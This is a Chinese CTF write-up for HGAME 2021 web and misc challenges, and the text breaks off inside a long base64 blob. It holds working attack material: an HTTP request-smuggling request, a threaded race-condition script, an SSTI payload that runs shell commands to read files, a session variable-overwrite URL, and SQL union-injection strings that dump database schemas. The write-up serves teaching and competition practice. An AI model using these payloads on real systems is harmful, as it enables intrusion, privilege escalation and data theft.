HGAME 2021

Web

Hitchhiking_in_the_Galaxy

index.php 内访问 HitchhikerGuide.php 可见 302 跳转,使用 BurpSuite GET 一次可以发现返回值是 405。于是尝试使用 POST 访问,得到了提示。

text
1
只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~

根据提示设置不同请求头最终可得到 flag。

1
hgame{[email protected][email protected]!}

watermelon

稍微修改一下 Math.random = function(){return 0.5;} 使得所有水果都是橙子,同时把屏幕调窄。玩到 2000 分之后再把返回值设定为 1.8 使水果变为半个西瓜从而快速填充屏幕输掉这局比赛。如此即可拿到 flag。

代码审计法

合成大西瓜是使用 cocos 引擎开发的游戏,那么其核心部分一定在 .../src/project.js。游戏在结束后会放出 flag,因此搜索出 gameover 的部分,可以发现如下逻辑。

1
2
3
4
5
6
gameOverShowText: function (e, t) {
if(e > 1999){
alert(window.atob("aGdhbWV7ZG9feW91X2tub3dfY29jb3NfZ2FtZT99"))
}
// this.ajaxLoad("http://www.wesane.com/admin.php/Gamescore/saveGamescore", "gameScore=" + e + "&gameId=" + this.gameHttpId + "&gameType=" + t, this.scoreResult)
},
1
hgame{do_you_know_cocos_game?}

宝藏走私者

参考:https://paper.seebug.org/1048/

F12 看请求可以发现 Server: ATS/7.1.2,同时在 .../secret 页面有如下信息。

text
1
2
ONLY LOCALHOST(127.0.0.1) CAN ACCESS THE SECRET_DATA!
YOUR Client-IP(Client-IP NOT FOUND IN HEADERS!) IS NOT ALLOWED!

于是尝试构造请求走私,使得服务器接收到一个包含 Client-IP 的 GET 请求。

text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /secret HTTP/1.1
Host: thief.0727.site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length : 445

GET /secret HTTP/1.1
Host: thief.0727.site
Upgrade-Insecure-Requests: 1
Client-IP: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

关键在于计算好 Content-Length 的长度并在前后添加空格,使得 ATS 可以正常转发而后端服务器将其忽略后识别为两个请求。使用 BurpSuite 发送两次构造好的请求就可以得到 flag。

1
hgame{HtTp+sMUg9l1nG^i5~r3al1y-d4nG3r0Us!}

智商检测鸡

定积分计算,主要有三个路由,.../api/verify 负责检验答案,.../api/getQuestion 负责提供题目,.../api/api/getStatus 负责查询解出数。只需要写个脚本算出结果提交,最后再给出 session 的 cookie 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from sympy import *
import requests
import json
import re

session = requests.session()
url = "http://r4u.top:5000/"

for i in range(101):
try:
questionRaw = session.get(url + "api/getQuestion").content
print("[+] Parsing {}".format(questionRaw))
regex = r"([-+]{1})</mo><mn>(\d{1,9})</mn></mrow><mrow><mn>(\d{1,9})"
matches = re.findall(regex, questionRaw.decode("UTF-8"))
lowerLimit, upperLimit = (int(matches[0][0] + matches[0][1]), int(matches[0][2]))
print("[+] Matching {} from {} to {}".format(matches, lowerLimit, upperLimit))

regex = r"<mn>(\d{1,9})</mn><mi>x</mi><mo>([+-]{1})</mo><mn>(\d{1,9})"
matches = re.findall(regex, questionRaw.decode("UTF-8"))
arg1, operator, arg2 = matches[0]
print("[+] Calculate {} with {} {} {}".format(matches, arg1, operator, arg2))
x = symbols('x')
result = "%.2f" % (integrate(int(arg1) * x + int(arg2), (x, lowerLimit, upperLimit)))
print("[+] Calculated result is {}".format(result))

response = session.post(url + "api/verify", data=json.dumps({"answer": result}), headers={'Content-Type': 'application/json'})
print("[*] Verify status is {}".format(response.content))
if b"true" in response.content:
print("[+] Verify correct with {}".format(result))
print("[*] Raw data is {}".format(response.content))
response.close()
status = session.get(url + "api/getStatus").content
print("[*] Status is {}".format(status))
index = session.get(url).content
print("[*] Index is {}".format(index))
except:
pass
print("[+] Done All for you and cookie is {}".format(session.cookies))

最后看到输出结果之后,将新的 cookie 重新应用于页面,刷新后即可看到 flag。

text
1
[+] Done All for you and cookie is <RequestsCookieJar[<Cookie session=eyJzb2x2aW5nIjoxMDB9.YBZaeA.1FXCgOvOT6RDRijlX1RhlG6arlI for r4u.top/>]>

1
hgame{3very0ne_H4tes_Math}

走私者的愤怒

Content-Length 的计算方法:

1
hgame{Fe3l^tHe~4N9eR+oF_5mu9gl3r!!}

Liki的生日礼物

进入靶机之后发现是一个兑换系统,有一个用于兑换的 API。很容易猜想到使用多线程请求去多兑换。于是写一个脚本实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import threading
import requests

ENV = "https://birthday.liki.link/API/"
session = requests.session()


def RushThread():
print("[+] Thread Rushed")
while True:
param = {
"m": 'buy'
}
data = {
"amount": 1
}
response = session.post(url=ENV, params=param, data=data)
print(response.text)
print(session.cookies)


param = {
"m": 'login'
}
data = {
"name": 122,
"password": 12
}
response = session.post(ENV, params=param, data=data)
print(response.text)
event = threading.Event()
for i in range(30):
threading.Thread(target=RushThread, args=()).start()

使用三十个线程去竞争,最后可以兑换得到超额的兑换券,从而兑换到 switch。

1
hgame{L0ck_1s_TH3_S0lllut!on!!!}

Forgetful

登录后可以添加 Note,试探一下可以发现 SSTI 注入点。

稍微尝试后可以构造出如下 payload。

1
{{[].__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['__import__']("os").popen('od$IFS$9-c$IFS$9/f*').read()}}

整理后可得 flag。

1
hgame{h0w_4bou7+L3arn!ng~PythOn^Now?}

LazyDogR4U

访问 www.zip 可以泄露出一部分源码,下载下来先大致审计一遍。User 中存在以下弱比较,可能直接登录。

1
2
3
4
5
6
if(md5($password) == $userList[$username]['pass_md5']){
$_SESSION['username'] = $username;
return true;
}else{
return false;
}

lazy.php 中存在如下变量注册,可能会存在变量覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];

// 直接注册所有变量,这样我就能少打字力,芜湖~

foreach(array('_GET','_POST') as $_request){
foreach ($$_request as $_k => $_v){
foreach ($filter as $youBadBad){
$_k = str_replace($youBadBad, '', $_k); //# 仅做了一次替换,这里可以直接双写绕过
}
${$_k} = $_v;
}
}

flag.php 中存在对 SESSION 中值的直接判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

if($_SESSION['username'] === 'admin'){
echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
echo "<h3 style='color: white'>$flag</h3>";
}else{
if($submit == "getflag"){
echo "<h3 style='color: white'>{$_SESSION['username']}接近了问题的终点</h3>";
}else{
echo "<h3 style='color: white'>篡位者占领了神圣的页面</h3>";
}
}
?>

此时可以尝试使用变量覆盖达成对 SESSION 中值的覆盖。因此构造出如下 payload。

1
http://f2035f880d.lazy.r4u.top/flag.php?_SESSIOSESSIONN[username]=admin

此时 SESSION 中的 username 被覆盖成为 admin,从而成功得到 flag。

1
hgame{[email protected]_D0G}

200OK!!

点击按钮可以发现如下线索,server.php 的请求头中包含了奇怪的参数。

尝试后可以发现 status 处存在 SQL 注入。

text
1
2
-2'/**/or(2=1)# ---> 无回显
-2'/**/or(1)# ---> HTTP 200 OK

于是一把梭先构造一个联合注入 -2'/**/uNion/**/seLect/**/1# 得到 1 的回显。

1
2
3
4
5
6
7
8
9
10
11
-2'/**/uNion/**/seLect/**/groUp_concat(schema_name)/**/frOm/**/infOrmation_schEma.schEmata# 
爆出数据库 information_schema,mysql,performance_schema,sys,week2sqli

-2'/**/uNion/**/seLect/**/group_concat(tablE_nAme)/**/frOm/**/infOrmation_schEma.tablEs/**/whEre/**/table_schema=databAse()#
爆出表 f1111111144444444444g,status

-2'/**/uNion/**/seLect/**/group_concat(cOlumn_nAme)/**/frOm/**/infOrmation_schEma.colUmns/**/whEre/**/table_schema=databAse()#
爆出表中的字段 ffffff14gggggg,id,status

-2'/**/uNion/**/seLect/**/group_concat(ffffff14gggggg)/**/frOm/**/f1111111144444444444g#
查出 flag
1
hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}

顺手查出了 status。

1
HTTP 200 OK,NETWORK ERROR,HTTP 400 Bad Request,HTTP 401 Unauthorized,HTTP 403 Forbidden,HTTP 404 Not Found,HTTP 405 Method Not Allowed,HTTP 406 Not Acceptable,HTTP 408 Request Timeout,HTTP 414 URI Too Long,HTTP 418 I'm a teapot,HTTP 500 Internal Server Error,HTTP 502 Bad Gateway,HTTP 503 Service Unavailable,HTTP 504 Gateway Timeout,UNKNOWN ERROR

Misc

Base全家福

base 编码套娃,通过 base64 --> base32 --> From Hex 解码即可以得出 flag。

不起眼压缩包的养成的方法

010 editor 打开图片发现文件尾部有压缩文件。

分离出来后压缩包的备注处有如下提示。

text
1
Password is picture ID (Up to 8 digits)

根据提示使用 ARCHPR 爆破得到压缩包密码为 70415155。

解压之后在 NO PASSWORD 文本文档中得到如下信息。

text
1
2
3
Sometimes we don't need to care about password.
Because it's too strong or null. XD
By the way, I only use storage.

查看两个压缩包中的 NO PASSWORD 的 CRC,发现是一样的。于是单独压缩一份 NO PASSWORD 然后对解压出来的 plain.zip 进行明文攻击,可以得出密码为 C8uvP$DP

解压 plain.zip 得到 flag.zip。使用 010 editor 打开文件可得如下内容。

text
1
&#x68;&#x67;&#x61;&#x6D;&#x65;&#x7B;&#x32;&#x49;&#x50;&#x5F;&#x69;&#x73;&#x5F;&#x55;&#x73;&#x65;&#x66;&#x75;&#x31;&#x5F;&#x61;&#x6E;&#x64;&#x5F;&#x4D;&#x65;&#x39;&#x75;&#x6D;&#x69;&#x5F;&#x69;&#x35;&#x5F;&#x57;&#x30;&#x72;&#x31;&#x64;&#x7D;

将其 HTML Entity 解码即可得到 flag。

text
1
hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}

Galaxy

Wireshark 分析流量包,筛选 http 条目,跟踪 HTTP 流到 TCP 流 26 可见图片文件。

将图片提取出来使用 010 editor 打开,模板运行有 CRC Mismatch 报错,于是用脚本爆破得图片宽高 hex: 0x1440 0x1000。将图片宽高修正可得 flag。

1
hgame{Wh4t_A_W0nderfu1_Wa11paper}

Word RE:MASTER

解压得到两个 Word 文档,将 first.docx 解压,可以从 password.xml 中找到一段 BrainFuck 字符串。

text
1
+++++ +++[- >++++ ++++< ]>+++ +.<++ +[->+ ++<]> ++.<+ ++[-> +++<] >+.<+ ++[-> ---<] >-.++ ++++. <+++[ ->--- <]>-. +++.+ .++++ ++++. <+++[ ->--- <]>-- ----. +.--- --..+ .++++ +++++ .<+++ [->-- -<]>- ----- .<

可解得 maimai.docx 的密码 DOYOUKNOWHIDDEN?。打开 maimai.docx 后显示隐藏字符可得一串制表符和空格错落的内容。并且图片暗示,因此考虑 snow 隐写。

text
1
2
3
4
5
6
7
8
9
10
11
	 	  	       	  	     	     	   	   	  










将以上字符保存为 html 文件并上传到服务器中获取链接,利用在线加解密工具解密可以得到 flag。

1
hgame{Cha11en9e_Whit3_P4ND0R4_P4R4D0XXX}

Tools

在 Matryoshka.jpg 的文件备注中发现了 !LyJJ9bi&M7E72*JyD,根据 F5 的暗示猜测其为 F5 隐写。

使用 F5 隐写工具提取出内容可得 [email protected]*p1A4bIYIs1M

image-20210207123441141

[email protected]*p1A4bIYIs1M 作为压缩包密码解压可得 01.jpg。根据暗示可知其经过了 steghide 隐写。在 01.jpg 的文件备注中发现了 [email protected]$EbE8,将其作为密码执行 steghide extract 之后得到了 pwd.txt。其中包含了 u0!FO4JUhl5!L55%$&

将其作为压缩包密码解压 Steghide.7z,得到 Outguess.7z 和 02.jpg。在图片的备注信息中可得 z0GFieYAee%gdf0%lF。将其作为密码执行 outguess 可得 @UjXL93044V5zl2ZKI

将其作为压缩包密码解压 Outguess.7z 可得 03.jpg 和 JPHS.7z。图片文件的备注中可得 [email protected]^@0。将其作为密码执行 JPHS 可解得 xSRejK1^[email protected]

将其作为压缩包密码解压 JPHS.7z 可得 4.jpg。至此四片二维码切片集齐。用 Snipaste 简单拼一下图得到一个二维码。

扫描二维码可得 flag。

1
hgame{Taowa_is_N0T_g00d_but_T001s_is_Useful}

Telegraph:1601 6639 3459 3134 0892

将题目的 1601 6639 3459 3134 0892 使用中文电码解码可得到如下信息。

使用 Audition 打开音频文件,可见如下提示。

将 850Hz 处的内容提取出来,其中一段可见明显的摩斯电码。将其截取并抄收下来,可以得到如下内容。

text
1
-.-- --- ..- .-. ..-. .-.. .- --. .. ... ---... ....- --. ----- ----- -.. ... ----- -. --. -... ..- - -. ----- - ....- --. ----- ----- -.. -- .- -. ----- ...-- ----. ...-- .---- ----- -.- ..

使用摩斯电码解码可得到 flag。

text
1
YOURFLAGIS:4G00DS0NGBUTN0T4G00DMAN039310KI
1
hgame{4G00DS0NGBUTN0T4G00DMAN039310KI}

Hallucigenia

Stegsolve 可解出图中有一个二维码。

扫描之后可得如下信息。

text
1
gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk=

很容易看出这是一张图片,使用 Cyberchef 经过 From Base64 --> Reverse --> Render Image --> Rotate Image --> Flip Image 之后可以得到如下图片。

1
https://lemonprefect.cn/cb/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)Reverse('Character')Render_Image('Raw')Rotate_Image(180)Flip_Image('Horizontal')&input=Z21CQ3JrUk9SVWtBQUFBQStqcmdzV2FqYXEwQmVDM0lRaENFSVFoQ0tadzFNeFR6U2xOS25tSnBpdlc5SUhWUHJUanZra3VJM3NQN2JXQUVkSUhXQ2JEc0dzUmtaOUlVSkM5QWhmWkZicHFybVpCdEkrWnZwdFdDL0tDUHJMMGdGZVJQT2NJMld5cWpuZGZVV2xOaitkZ1dwZTFxU1RFY2R1clh6TVJBYzVFaWhzRWZsbUlOOFJ6dWd1V3E2MUpXUlFwU0k1MS9LSEhULzYvenRQWkozM1NTS2JpZVRhMUM1a29PTmJMY2Y5YVltc1ZoN1JXNnAzU3BBU25VU2IzSnVTdnBVQkt4c2NieUJqaU9wT1RxOGpjZFJzeDUvSW5kWHczVmdKVjZpTzErNmpsNGdqVnBXb3VWaU82aWg5Wm15YlNQa2hhcXlOVXhWWHBWNWNZVStYeDVzUVRmS3lzdERMaXBtcWFNaHhJY2d2cGxMcUYvTFdaeklTNVB2d2JxT3ZyU2xOSFZFWWNoQ0VJUUlTSUNTWkppand1NTByUlFIRHlVcGFGMHkvLy9wNkZFRENDREZzdVc3WUZvVkVGRVNUMEJBQUNMZ0xPckFBQUFBZ2dVQUFBQXRBQUFBRkpFU0VrTkFBQUFDaG9LRFVkT1VJaz0
1
hgame{tenchi_souzou_dezain_bu}

flag 转写成日文是“天地創造デザイン部”,谷歌翻译成中文是“天堂设计部”。

DNS

使用 Wireshark 分析流量包,筛选 HTTP 条目可看到如下信息。

根据信息可知 SPF 是 txt 记录,同时在请求中可以看到请求域名是 flag.hgame2021.cf。使用 nslookup 查询这个域名的 txt 记录可得 flag。

1
hgame{D0main_N4me_5ystem}

A R K

Wireshark 分析流量包,跟踪 FTP 流量可得到如下 log。

将 log 导入 Wireshark 后跟踪 TLS 流。

根据提示着重观察 HTTP 请求 /quest/getBattleReplay,将其响应数据导出并解 GZIP 可得如下数据。

1
{"battleReplay":"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